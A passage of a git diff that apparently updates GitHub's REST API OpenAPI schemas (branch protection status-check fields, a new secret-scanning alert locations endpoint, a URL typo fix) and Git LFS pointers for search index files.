"**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "items": { "type": "string" } @@ -142723,6 +142673,9 @@ "description": "The list of status checks to require in order to merge into this branch.", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", @@ -142730,7 +142683,7 @@ }, "app_id": { "type": "integer", - "description": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source." + "description": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App." } } } @@ -142833,6 +142786,13 @@ "required_conversation_resolution": { "type": "boolean", "description": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`." + }, + "contexts": { + "type": "array", + "description": "The list of status checks to require in order to merge into this branch.", + "items": { + "type": "string" + } } }, "required": [ @@ -142919,22 +142879,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", @@ -145528,22 +145472,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", @@ -145615,7 +145543,7 @@ "operationId": "repos/update-status-check-protection", "externalDocs": { "description": "API method documentation", - "url": "https://docs.github.com/enterprise-server@3.3/rest/reference/repos#update-status-check-potection" + "url": "https://docs.github.com/enterprise-server@3.3/rest/reference/repos#update-status-check-protection" }, "parameters": [ { @@ -145658,6 +145586,7 @@ }, "contexts": { "type": "array", + "deprecated": true, "description": "The list of status checks to require in order to merge into this branch", "items": { "type": "string" @@ -145702,22 +145631,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", @@ -151956,6 +151869,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -151970,25 +151885,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string" - }, - "app_id": { - "type": "integer", - "nullable": true - } - }, - "required": [ - "context", - "app_id" - ] - } - }, "contexts_url": { "type": "string" }, @@ -320318,6 +320214,243 @@ } } }, + "/repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}/locations": { + "get": { + "summary": "List locations for a secret scanning alert", + "description": "Lists all locations for a given secret scanning alert for a private repository. To use this endpoint, you must be an administrator for the repository or organization, and you must use an access token with the `repo` scope or `security_events` scope.\n\nGitHub Apps must have the `secret_scanning_alerts` read permission to use this endpoint.", + "tags": [ + "secret-scanning" + ], + "operationId": "secret-scanning/list-locations-for-alert", + "externalDocs": { + "description": "API method documentation", + "url": "https://docs.github.com/enterprise-server@3.3/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert" + }, + "parameters": [ + { + "name": "owner", + "in": "path", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "repo", + "in": "path", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "alert_number", + "in": "path", + "description": "The number that identifies an alert. You can find this at the end of the URL for a code scanning alert within GitHub, and in the `number` field in the response from the `GET /repos/{owner}/{repo}/code-scanning/alerts` operation.", + "required": true, + "schema": { + "type": "integer", + "description": "The security alert number.", + "readOnly": true + } + }, + { + "name": "page", + "description": "Page number of the results to fetch.", + "in": "query", + "schema": { + "type": "integer", + "default": 1 + } + }, + { + "name": "per_page", + "description": "Results per page (max 100)", + "in": "query", + "schema": { + "type": "integer", + "default": 30 + } + } + ], + "responses": { + "200": { + "description": "Response", + "content": { + "application/json": { + "schema": { + "type": "array", + "description": "List of locations where the secret was detected", + "items": { + "type": "object", + "properties": { + "type": { + "type": "string", + "enum": [ + "commit" + ], + "description": "The location type. Because secrets may be found in different types of resources (ie. code, comments, issues), this field identifies the type of resource where the secret was found.", + "example": "commit" + }, + "details": { + "oneOf": [ + { + "description": "Represents a 'commit' secret scanning location type. This location type shows that a secret was detected inside a commit to a repository.", + "type": "object", + "properties": { + "path": { + "type": "string", + "description": "The file path in the repository", + "example": "/example/secrets.txt" + }, + "start_line": { + "type": "number", + "description": "Line number at which the secret starts in the file" + }, + "end_line": { + "type": "number", + "description": "Line number at which the secret ends in the file" + }, + "start_column": { + "type": "number", + "description": "The column at which the secret starts within the start line when the file is interpreted as 8BIT ASCII" + }, + "end_column": { + "type": "number", + "description": "The column at which the secret ends within the end line when the file is interpreted as 8BIT ASCII" + }, + "blob_sha": { + "type": "string", + "description": "SHA-1 hash ID of the associated blob", + "example": "af5626b4a114abcb82d63db7c8082c3c4756e51b" + }, + "blob_url": { + "type": "string", + "description": "The API URL to get the associated blob resource" + }, + "commit_sha": { + "type": "string", + "description": "SHA-1 hash ID of the associated commit", + "example": "af5626b4a114abcb82d63db7c8082c3c4756e51b" + }, + "commit_url": { + "type": "string", + "description": "The API URL to get the associated commit resource" + } + }, + "required": [ + "path", + "start_line", + "end_line", + "start_column", + "end_column", + "blob_sha", + "blob_url", + "commit_sha", + "commit_url" + ] + } + ] + } + }, + "required": [ + "type", + "details" + ] + } + }, + "examples": { + "default": { + "value": [ + { + "type": "commit", + "details": { + "path": "/example/secrets.txt", + "start_line": 1, + "end_line": 1, + "start_column": 1, + "end_column": 64, + "blob_sha": "af5626b4a114abcb82d63db7c8082c3c4756e51b", + "blob_url": "https://api.github.com/repos/octocat/hello-world/git/blobs/af5626b4a114abcb82d63db7c8082c3c4756e51b", + "commit_sha": "f14d7debf9775f957cf4f1e8176da0786431f72b", + "commit_url": "https://api.github.com/repos/octocat/hello-world/git/commits/f14d7debf9775f957cf4f1e8176da0786431f72b" + } + }, + { + "type": "commit", + "details": { + "path": "/example/secrets.txt", + "start_line": 5, + "end_line": 5, + "start_column": 1, + "end_column": 64, + "blob_sha": "9def38117ab2d8355b982429aa924e268b4b0065", + "blob_url": "https://api.github.com/repos/octocat/hello-world/git/blobs/9def38117ab2d8355b982429aa924e268b4b0065", + "commit_sha": "588483b99a46342501d99e3f10630cfc1219ea32", + "commit_url": "https://api.github.com/repos/octocat/hello-world/git/commits/588483b99a46342501d99e3f10630cfc1219ea32" + } + }, + { + "type": "commit", + "details": { + "path": "/example/secrets.txt", + "start_line": 12, + "end_line": 12, + "start_column": 1, + "end_column": 64, + "blob_sha": "0b33e9c66e19f7fb15137a82ff1c04c10cba6caf", + "blob_url": "https://api.github.com/repos/octocat/hello-world/git/blobs/0b33e9c66e19f7fb15137a82ff1c04c10cba6caf", + "commit_sha": "9def38117ab2d8355b982429aa924e268b4b0065", + "commit_url": "https://api.github.com/repos/octocat/hello-world/git/commits/9def38117ab2d8355b982429aa924e268b4b0065" + } + } + ] + } + } + } + }, + "headers": { + "Link": { + "example": "; rel=\"next\", ; rel=\"last\"", + "schema": { + "type": "string" + } + } + } + }, + "404": { + "description": "Repository is public, or secret scanning is disabled for the repository, or the resource is not found" + }, + "503": { + "description": "Service unavailable", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "code": { + "type": "string" + }, + "message": { + "type": "string" + }, + "documentation_url": { + "type": "string" + } + } + } + } + } + } + }, + "x-github": { + "githubCloudOnly": false, + "enabledForGitHubApps": true, + "category": "secret-scanning", + "subcategory": null + } + } + }, "/repos/{owner}/{repo}/stargazers": { "get": { "summary": "List stargazers", diff --git a/lib/rest/static/dereferenced/github.ae.deref.json b/lib/rest/static/dereferenced/github.ae.deref.json index dbbf6f404e..2e30c941fb 100644 --- a/lib/rest/static/dereferenced/github.ae.deref.json +++ b/lib/rest/static/dereferenced/github.ae.deref.json @@ -104170,6 +104170,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -104211,7 +104213,8 @@ } }, "required": [ - "contexts" + "contexts", + "checks" ] }, "enforce_admins": { @@ -105589,6 +105592,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -105630,7 +105635,8 @@ } }, "required": [ - "contexts" + "contexts", + "checks" ] }, "enforce_admins": { @@ -106499,6 +106505,8 @@ "type": "boolean" }, "required_status_checks": { + "title": "Protected Branch Required Status Check", + "description": "Protected Branch Required Status Check", "type": "object", "properties": { "url": { @@ -106540,7 +106548,8 @@ } }, "required": [ - "contexts" + "contexts", + "checks" ] }, "enforce_admins": { @@ -107499,7 +107508,8 @@ }, "contexts": { "type": "array", - "description": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "deprecated": true, + "description": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "items": { "type": "string" } @@ -107509,6 +107519,9 @@ "description": "The list of status checks to require in order to merge into this branch.", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", @@ -107516,7 +107529,7 @@ }, "app_id": { "type": "integer", - "description": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source." + "description": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App." } } } @@ -107619,6 +107632,13 @@ "required_conversation_resolution": { "type": "boolean", "description": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`." + }, + "contexts": { + "type": "array", + "description": "The list of status checks to require in order to merge into this branch.", + "items": { + "type": "string" + } } }, "required": [ @@ -107705,22 +107725,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", @@ -110314,22 +110318,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", @@ -110401,7 +110389,7 @@ "operationId": "repos/update-status-check-protection", "externalDocs": { "description": "API method documentation", - "url": "https://docs.github.com/github-ae@latest/rest/reference/repos#update-status-check-potection" + "url": "https://docs.github.com/github-ae@latest/rest/reference/repos#update-status-check-protection" }, "parameters": [ { @@ -110444,6 +110432,7 @@ }, "contexts": { "type": "array", + "deprecated": true, "description": "The list of status checks to require in order to merge into this branch", "items": { "type": "string" @@ -110488,22 +110477,6 @@ "type": "string" } }, - "checks": { - "type": "array", - "items": { - "type": "object", - "properties": { - "context": { - "type": "string", - "example": "continuous-integration/travis-ci" - }, - "app_id": { - "type": "integer", - "nullable": true - } - } - } - }, "contexts_url": { "type": "string", "format": "uri", diff --git a/lib/search/indexes/github-docs-3.0-cn-records.json.br b/lib/search/indexes/github-docs-3.0-cn-records.json.br index 7133a2c915..d2a55b61ab 100644 --- a/lib/search/indexes/github-docs-3.0-cn-records.json.br +++ b/lib/search/indexes/github-docs-3.0-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:765ec393f48b1da26a6ec01436aff63a8ae0e58e00c229abff36abc768ae815a -size 640925 +oid sha256:7e3df74a112b5eedcc2aaf12a51c1595877adf62abd212a35b33314bb772fbe5 +size 640871 diff --git a/lib/search/indexes/github-docs-3.0-cn.json.br b/lib/search/indexes/github-docs-3.0-cn.json.br index 6f371838e4..1ea4fad783 100644 --- a/lib/search/indexes/github-docs-3.0-cn.json.br +++ b/lib/search/indexes/github-docs-3.0-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:d3af4a355dc9287243762e9fca0e81b368f00323637d47b2d1ae530465506d8f -size 1112102 +oid sha256:40a5483c3df0c4e43bc832939cc5946e193c72daf0f081f9682543788f32e564 +size 1112032 diff --git a/lib/search/indexes/github-docs-3.0-en-records.json.br b/lib/search/indexes/github-docs-3.0-en-records.json.br index d2861b0707..3936d992df 100644 --- a/lib/search/indexes/github-docs-3.0-en-records.json.br +++ b/lib/search/indexes/github-docs-3.0-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:cb52ad0e124e1ba0ae0d13fbb735bf115a4690ee0615713e900a6a81e7084b79 -size 945815 +oid sha256:13b019334ab933814faa0b45c297ee97cc1b71eb33d4f2c26ad34137b9794e6f +size 946322 diff --git a/lib/search/indexes/github-docs-3.0-en.json.br b/lib/search/indexes/github-docs-3.0-en.json.br index a0aaefe3f1..e92e296566 100644 --- a/lib/search/indexes/github-docs-3.0-en.json.br +++ b/lib/search/indexes/github-docs-3.0-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:44ea78b2bdcc346b8b969966ddb6408e4e2b1a38e2e450125fb64da66db12e2d -size 3859149 +oid sha256:146cd9b0276767a256d5eb619b80a161a5115f3984a880f49180ceaced0befdf +size 3862416 diff --git a/lib/search/indexes/github-docs-3.0-es-records.json.br b/lib/search/indexes/github-docs-3.0-es-records.json.br index 2ab8c34e43..350474200e 100644 --- a/lib/search/indexes/github-docs-3.0-es-records.json.br +++ b/lib/search/indexes/github-docs-3.0-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:e5a647e342279eaf5584b7efc8ae882687590309a65ad9ea58bbb41a9bca6381 -size 584641 +oid sha256:fbe17025883fe33bd107580e9fbcfd0293046c9c0aa791bcf5b43060793f4480 +size 584486 diff --git a/lib/search/indexes/github-docs-3.0-es.json.br b/lib/search/indexes/github-docs-3.0-es.json.br index e9c6e2ef67..abfc8dd0d2 100644 --- a/lib/search/indexes/github-docs-3.0-es.json.br +++ b/lib/search/indexes/github-docs-3.0-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:2e1118a4c589e04b76e48b8853df7d4db78d97d766278e38611a7b045f3df4c6 -size 2455855 +oid sha256:ea78951c075a97d35e6807ac6e69d2204d02901ac56d283b18ed400c24be2f9d +size 2455353 diff --git a/lib/search/indexes/github-docs-3.0-ja-records.json.br b/lib/search/indexes/github-docs-3.0-ja-records.json.br index eaabfb3fbe..6aa2a5f038 100644 --- a/lib/search/indexes/github-docs-3.0-ja-records.json.br +++ b/lib/search/indexes/github-docs-3.0-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:b0d040087150c6a6c12b5cde92cf2407c4d712dad54eafebd63a23a9b662faf7 -size 666681 +oid sha256:97da0cfa75dbc2ab4c0798269d86ca42a66d2dca4effcca4a93051ddd9fa228d +size 666856 diff --git a/lib/search/indexes/github-docs-3.0-ja.json.br b/lib/search/indexes/github-docs-3.0-ja.json.br index 1a9589a088..f203ebf811 100644 --- a/lib/search/indexes/github-docs-3.0-ja.json.br +++ b/lib/search/indexes/github-docs-3.0-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:edac4bc4b93b88b6031bc49f12105dcb3455dffdbf9225d78dd05f385133722f -size 3450530 +oid sha256:f1a4676af984500e690324cd1c54f081d3fa264b581192095957c2810d3df20e +size 3451804 diff --git a/lib/search/indexes/github-docs-3.0-pt-records.json.br b/lib/search/indexes/github-docs-3.0-pt-records.json.br index 53a59b326e..2dba31cf10 100644 --- a/lib/search/indexes/github-docs-3.0-pt-records.json.br +++ b/lib/search/indexes/github-docs-3.0-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:ffe05aee1a3475001951342c6034623b586effa1771512997950a7555b39b029 -size 544919 +oid sha256:12c5dc02eeaec4a802c52e2085e099548c588b2badbdf57e3348aa6f9067e445 +size 544933 diff --git a/lib/search/indexes/github-docs-3.0-pt.json.br b/lib/search/indexes/github-docs-3.0-pt.json.br index c57c8cca61..1774f59e82 100644 --- a/lib/search/indexes/github-docs-3.0-pt.json.br +++ b/lib/search/indexes/github-docs-3.0-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:e4b888ff599cd91683af7cb3c2b6b4f7f264324c2735c7ad03bc4eea85bef8b6 -size 2233755 +oid sha256:ed634464bba6cfffbf72c4f9abaee8da86f9ec874c6dc692dd88e7ab6ee4022f +size 2233940 diff --git a/lib/search/indexes/github-docs-3.1-cn-records.json.br b/lib/search/indexes/github-docs-3.1-cn-records.json.br index 5d0cf4f598..0bd80ed336 100644 --- a/lib/search/indexes/github-docs-3.1-cn-records.json.br +++ b/lib/search/indexes/github-docs-3.1-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:6a0a32e9e01c7a8260399755d053889d512ce023b4bc0b09c0c36149eb9b2d93 -size 655749 +oid sha256:6daa3f3b36d18257ffedaf222fc659932d88bd6c379f78d309863bbc58661d29 +size 655632 diff --git a/lib/search/indexes/github-docs-3.1-cn.json.br b/lib/search/indexes/github-docs-3.1-cn.json.br index e3914fb146..73209232f1 100644 --- a/lib/search/indexes/github-docs-3.1-cn.json.br +++ b/lib/search/indexes/github-docs-3.1-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:ed84b47b595ddb325b765ae7c948562be5b0069d566334f0107a62a79c3a8e28 -size 1144272 +oid sha256:164fcf061b071d789ddc5268b38d077abe74a8c158a26da03035dea08bafd949 +size 1144227 diff --git a/lib/search/indexes/github-docs-3.1-en-records.json.br b/lib/search/indexes/github-docs-3.1-en-records.json.br index 517eff6d06..68e8be3195 100644 --- a/lib/search/indexes/github-docs-3.1-en-records.json.br +++ b/lib/search/indexes/github-docs-3.1-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:07d08cdfbc14d71fb44c735380e9c9560d0e77fd72523954204abf997633b509 -size 969935 +oid sha256:35a86a63ed7786f12a5cce523af982b315675b854a3418f66e485505cf512004 +size 970916 diff --git a/lib/search/indexes/github-docs-3.1-en.json.br b/lib/search/indexes/github-docs-3.1-en.json.br index 1a4625fbdb..2b5e00177b 100644 --- a/lib/search/indexes/github-docs-3.1-en.json.br +++ b/lib/search/indexes/github-docs-3.1-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:4509329dd6b077f819e8a83cae92a77afde1e116d621c53c1ccf29fa8ba61c23 -size 3951588 +oid sha256:c2df238516877a7f788ef7198c4e203befc619f541a152ea000161b0caf06929 +size 3953372 diff --git a/lib/search/indexes/github-docs-3.1-es-records.json.br b/lib/search/indexes/github-docs-3.1-es-records.json.br index eac59aba8b..69fa0f5114 100644 --- a/lib/search/indexes/github-docs-3.1-es-records.json.br +++ b/lib/search/indexes/github-docs-3.1-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:50ad6cbc376ffeac08e48ccdb2b7acddfb7ea049bc4415540e968afa80aa3d43 -size 597236 +oid sha256:2f3d072357fe93caec34578f555acb5a0c92d7f9bda4dc3b2b99bfde6ec2eb28 +size 597257 diff --git a/lib/search/indexes/github-docs-3.1-es.json.br b/lib/search/indexes/github-docs-3.1-es.json.br index acfb0501fa..f5dda44f6d 100644 --- a/lib/search/indexes/github-docs-3.1-es.json.br +++ b/lib/search/indexes/github-docs-3.1-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:ba438c4ff9465333863b1259cdc2a026480618940be5e52ee7db63c6db8e23cd -size 2514233 +oid sha256:4991a42e0a24d88d4454365d95d668775a7a82636bbe2ed0599f9f27d9da261e +size 2514127 diff --git a/lib/search/indexes/github-docs-3.1-ja-records.json.br b/lib/search/indexes/github-docs-3.1-ja-records.json.br index dd79dbebc2..075a8f5da5 100644 --- a/lib/search/indexes/github-docs-3.1-ja-records.json.br +++ b/lib/search/indexes/github-docs-3.1-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:7f01c489a0c4fd9ecdccef6aced09c78baae77341c167a916d51f7fe4fa572bd -size 681395 +oid sha256:545e9df6548ac66687ca1600c3654861402663575d7472fefe3f5875ed8a1f5c +size 681594 diff --git a/lib/search/indexes/github-docs-3.1-ja.json.br b/lib/search/indexes/github-docs-3.1-ja.json.br index ae3f6131dc..e8e3e847f6 100644 --- a/lib/search/indexes/github-docs-3.1-ja.json.br +++ b/lib/search/indexes/github-docs-3.1-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:a046dd133aa4f1e2e8522c0e02e32a5c06e1b6208c42a67850f21c385a0be672 -size 3533703 +oid sha256:61d6400f7dac08f0f45dd3297a42e1cb973e7de87e35cc35859450b7ae039c8e +size 3534187 diff --git a/lib/search/indexes/github-docs-3.1-pt-records.json.br b/lib/search/indexes/github-docs-3.1-pt-records.json.br index 9185d8afe9..6436cabdc7 100644 --- a/lib/search/indexes/github-docs-3.1-pt-records.json.br +++ b/lib/search/indexes/github-docs-3.1-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:c65fe5c0c685beaa01f8e9985470a07f038ae9c810564d2b748868066971e274 -size 557059 +oid sha256:82055da2040c39e79e38cee8160627a4a86a0e4bc89d0c0344ee38c29b77aaea +size 557168 diff --git a/lib/search/indexes/github-docs-3.1-pt.json.br b/lib/search/indexes/github-docs-3.1-pt.json.br index b5f627b720..9e9d766f44 100644 --- a/lib/search/indexes/github-docs-3.1-pt.json.br +++ b/lib/search/indexes/github-docs-3.1-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:aed5e4e922e7395f615ceeb58526617938c26b64ea524e78e4061b63e6cebb65 -size 2289478 +oid sha256:3199072c54ae9d11db39bbddfa720e92b9d817ed5ddebd487bad271f85f45f36 +size 2289868 diff --git a/lib/search/indexes/github-docs-3.2-cn-records.json.br b/lib/search/indexes/github-docs-3.2-cn-records.json.br index c3b18dac4d..7e706d3ba6 100644 --- a/lib/search/indexes/github-docs-3.2-cn-records.json.br +++ b/lib/search/indexes/github-docs-3.2-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:adc19edd60060198af984af275eaf23093e610ae19414f83ad7e655574a23b26 -size 668760 +oid sha256:e3e10e9d9032648cf13407b89aa5259a741dfe9b0011478c6162b5fd6292e43f +size 668982 diff --git a/lib/search/indexes/github-docs-3.2-cn.json.br b/lib/search/indexes/github-docs-3.2-cn.json.br index edfce13ca2..e91b1a46a4 100644 --- a/lib/search/indexes/github-docs-3.2-cn.json.br +++ b/lib/search/indexes/github-docs-3.2-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:9adc3df5e1f9149c6a0e85c984f02cdbc7b8cd6ee2fcc1c95f37841c88c92373 -size 1168954 +oid sha256:1570485f9025f816d2a57fb4642da4a7c98e08e6ac8fa95a5d2fca3b3aa4ffa9 +size 1168860 diff --git a/lib/search/indexes/github-docs-3.2-en-records.json.br b/lib/search/indexes/github-docs-3.2-en-records.json.br index 6ae53095db..04ff6ad853 100644 --- a/lib/search/indexes/github-docs-3.2-en-records.json.br +++ b/lib/search/indexes/github-docs-3.2-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:85111370ff228c4c4bbf7b5062429e913e5df093a3324bd98b164d6d2d5f6335 -size 1001021 +oid sha256:9af6a87ae6c1c294c854044c6803eba80a65f1c118de6db9a4c97f6e29e859b8 +size 1001722 diff --git a/lib/search/indexes/github-docs-3.2-en.json.br b/lib/search/indexes/github-docs-3.2-en.json.br index bd4af70d05..c3e3704b42 100644 --- a/lib/search/indexes/github-docs-3.2-en.json.br +++ b/lib/search/indexes/github-docs-3.2-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:9d748b84215b4a694c4a772ef8080bdba553a614ed3ca9b80d262b06adf806b2 -size 4071039 +oid sha256:9e11af5045679f8d5291e2a2b4e7a73a4f238757532e4f528391a884c42cc154 +size 4072257 diff --git a/lib/search/indexes/github-docs-3.2-es-records.json.br b/lib/search/indexes/github-docs-3.2-es-records.json.br index 079dc8ccbb..8c52289d91 100644 --- a/lib/search/indexes/github-docs-3.2-es-records.json.br +++ b/lib/search/indexes/github-docs-3.2-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:feef9067a613f92b7801a7270671f2cf9a87e1230a3a6bbab445f900edaaa61f -size 608086 +oid sha256:f7bd9cf8f7e2de6d74cb2985dbf98668db8850cad6bd47a7ded855b0fa2bb841 +size 607989 diff --git a/lib/search/indexes/github-docs-3.2-es.json.br b/lib/search/indexes/github-docs-3.2-es.json.br index 05fb0e62eb..62a59a66c9 100644 --- a/lib/search/indexes/github-docs-3.2-es.json.br +++ b/lib/search/indexes/github-docs-3.2-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:40fedf9b3e1758ba377871a5c276ce3b0becc1ecbcc89db1bbe038062e95bd22 -size 2565960 +oid sha256:d029231aa79519d2a499770b04664bc529833e352663f2f024e7e15e0697a88e +size 2565617 diff --git a/lib/search/indexes/github-docs-3.2-ja-records.json.br b/lib/search/indexes/github-docs-3.2-ja-records.json.br index ac91b32cd7..775f011419 100644 --- a/lib/search/indexes/github-docs-3.2-ja-records.json.br +++ b/lib/search/indexes/github-docs-3.2-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:6dba6850e17175b2ba80625c25c80767e83dafc1141684bef1527dd374fa821f -size 693741 +oid sha256:f6d9f0c360c0d5073cb2b9f07fa00d89663583c1405eb60c628729a9180529e5 +size 693754 diff --git a/lib/search/indexes/github-docs-3.2-ja.json.br b/lib/search/indexes/github-docs-3.2-ja.json.br index 6963c0655e..feb5312637 100644 --- a/lib/search/indexes/github-docs-3.2-ja.json.br +++ b/lib/search/indexes/github-docs-3.2-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:5803bc091bf14bc0cc2501a76fa251ca8c87c780e3b145740190f9924baeb00b -size 3605453 +oid sha256:e05f1a1a9e7fdb7134ad175188e6983a47539b9d6cc1c74fedbea2c17c079ee2 +size 3606198 diff --git a/lib/search/indexes/github-docs-3.2-pt-records.json.br b/lib/search/indexes/github-docs-3.2-pt-records.json.br index c950d10281..630aa5c81d 100644 --- a/lib/search/indexes/github-docs-3.2-pt-records.json.br +++ b/lib/search/indexes/github-docs-3.2-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:40ea222448b43780b9514cc1017f371f19958bea633494f7cf314288d7b9e9fe -size 567279 +oid sha256:da5c966b19af79517cd4804c3ae7a7c002b77b7718e6930110806d80da6854ac +size 567549 diff --git a/lib/search/indexes/github-docs-3.2-pt.json.br b/lib/search/indexes/github-docs-3.2-pt.json.br index a09fd032c5..49bb2d4700 100644 --- a/lib/search/indexes/github-docs-3.2-pt.json.br +++ b/lib/search/indexes/github-docs-3.2-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:0051c5a322753b60c9001866dae71c8f1b40ccf4a9c8f6e2b6da2e52844c1bed -size 2332035 +oid sha256:a1f174da220730a2b62ccd70e382114491d8006485206890276ba1bf6e36ef5b +size 2331745 diff --git a/lib/search/indexes/github-docs-3.3-cn-records.json.br b/lib/search/indexes/github-docs-3.3-cn-records.json.br index 906b4e64ac..adcaeb3711 100644 --- a/lib/search/indexes/github-docs-3.3-cn-records.json.br +++ b/lib/search/indexes/github-docs-3.3-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:687f9e046e1c9028751be8268ad80f91506c15fa26dafabb5b880a947617002b -size 691490 +oid sha256:28b0bfa41eba89903d1827056fd76f6bb25b4b8f965b5b57f0a19f2442c11d99 +size 691562 diff --git a/lib/search/indexes/github-docs-3.3-cn.json.br b/lib/search/indexes/github-docs-3.3-cn.json.br index 5aaae45261..7947387f67 100644 --- a/lib/search/indexes/github-docs-3.3-cn.json.br +++ b/lib/search/indexes/github-docs-3.3-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:7d289a260c70805c15f16f9af67d4ae50876bc6d68dfe2259bc5428abeefda52 -size 1226772 +oid sha256:4ff9a1d62c665bf313badf32d3cd1dbac53aae8884a9a86d508a235eb6066071 +size 1226913 diff --git a/lib/search/indexes/github-docs-3.3-en-records.json.br b/lib/search/indexes/github-docs-3.3-en-records.json.br index 07e8b34c6c..514afd7828 100644 --- a/lib/search/indexes/github-docs-3.3-en-records.json.br +++ b/lib/search/indexes/github-docs-3.3-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:601214acc7589ef6d583faf3af111093c6fc713655ff4d41bf3121da44f5f869 -size 1034999 +oid 